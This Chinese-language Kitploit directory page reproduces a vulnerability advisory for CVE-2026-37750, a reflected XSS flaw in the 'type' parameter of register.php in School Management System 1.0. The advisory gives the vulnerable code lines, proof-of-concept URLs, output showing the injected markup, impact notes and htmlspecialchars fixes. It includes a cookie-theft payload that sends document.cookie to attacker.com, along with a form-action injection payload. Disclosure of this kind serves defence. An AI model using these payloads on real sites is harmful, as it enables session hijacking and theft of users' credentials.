Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-37750 — # School Management System 1.0 反射型 XSS 概念验证 针对 School Management System 1.0 的反射型 XSS 概念验证,演示了通过 register.php 中的 type 参数实现未经认证的 JavaScript 执行,并附有影响分析与修复建议。 | Kitploit
工具/GitHubGitHub/menevarad007/cve-2026-37750
漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育
GitHubmenevarad007/cve-2026-37750

CVE-2026-37750

# School Management System 1.0 反射型 XSS 概念验证 针对 School Management System 1.0 的反射型 XSS 概念验证,演示了通过 register.php 中的 type 参数实现未经认证的 JavaScript 执行,并附有影响分析与修复建议。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-37750 — 学校管理系统 1.0 - 反射型 XSS

详细信息

字段信息
CVE IDCVE-2026-37750
类型反射型跨站脚本(XSS)
严重性中危(CVSSv3:6.1)
厂商mahmoudai1
产品学校管理系统
版本1.0
发现者Varad AP Mene
日期2026-04-16
CWECWE-79

描述

mahmoudai1 开发的学校管理系统 1.0 中存在一个反射型跨站脚本(XSS)漏洞,允许未经身份验证的远程攻击者通过 register.php 中未经过滤的 type 参数,在受害者浏览器中执行任意 JavaScript。该参数在第 22 行的 h1 标签内以及第 26 行的表单 action 属性中被直接反射,且未进行转义。利用此漏洞无需任何身份验证。

CVE ID:CVE-2026-37750 CWE:CWE-79 CVSSv3:6.1 中危(AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)


产品描述

学校管理系统 1.0 是 mahmoudai1 在 GitHub 上发布的一款基于 PHP/MySQL 的 Web 应用程序,用于管理学校中的学生、教师和家长。

厂商 URL:https://github.com/mahmoudai1/school-management-system


漏洞文件

register.php — 注册表单(无需身份验证)


漏洞代码

第 22 行: echo ucfirst($_REQUEST['type'])

第 26 行: echo $_REQUEST['type']

未使用 htmlspecialchars() — 原始用户输入直接反射到 HTML 中。


概念验证

前提条件:

  • 无需身份验证
  • 目标必须运行学校管理系统 1.0

步骤 1 — 打开浏览器并访问此 URL: http://target/register.php?type=script-alert-document.cookie-/script

步骤 2 — JavaScript 在浏览器中执行 结果:弹出警告框,显示会话 Cookie。

步骤 3 — Cookie 窃取载荷: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script 步骤 4 — 表单 action 注入载荷: http://target/register.php?type="-script-alert(1)-/script

确认两个注入点:

注入点 1 — h1 标签内(第 22 行):

root@kitploit:~
echo ucfirst($_REQUEST['type'])

输出:

root@kitploit:~
<h1><script>alert(1)</script> Application</h1>

注入点 2 — 表单 action 属性内(第 26 行):

root@kitploit:~
echo $_REQUEST['type']

输出:

root@kitploit:~
<form action="register.php?type=<script>alert(1)</script>">

影响

  • 通过 Cookie 窃取实现会话劫持
  • 钓鱼攻击 — 注入伪造登录表单
  • 通过重定向传播恶意软件
  • 无需身份验证

修复方案

第 22 行修复: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');

第 26 行修复: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');


参考链接

  • https://github.com/mahmoudai1/school-management-system
  • https://github.com/mahmoudai1/school-management-system/blob/main/register.php

发现者

Varad AP Mene 邮箱:[email protected] GitHub:https://github.com/menevarad007

下载工具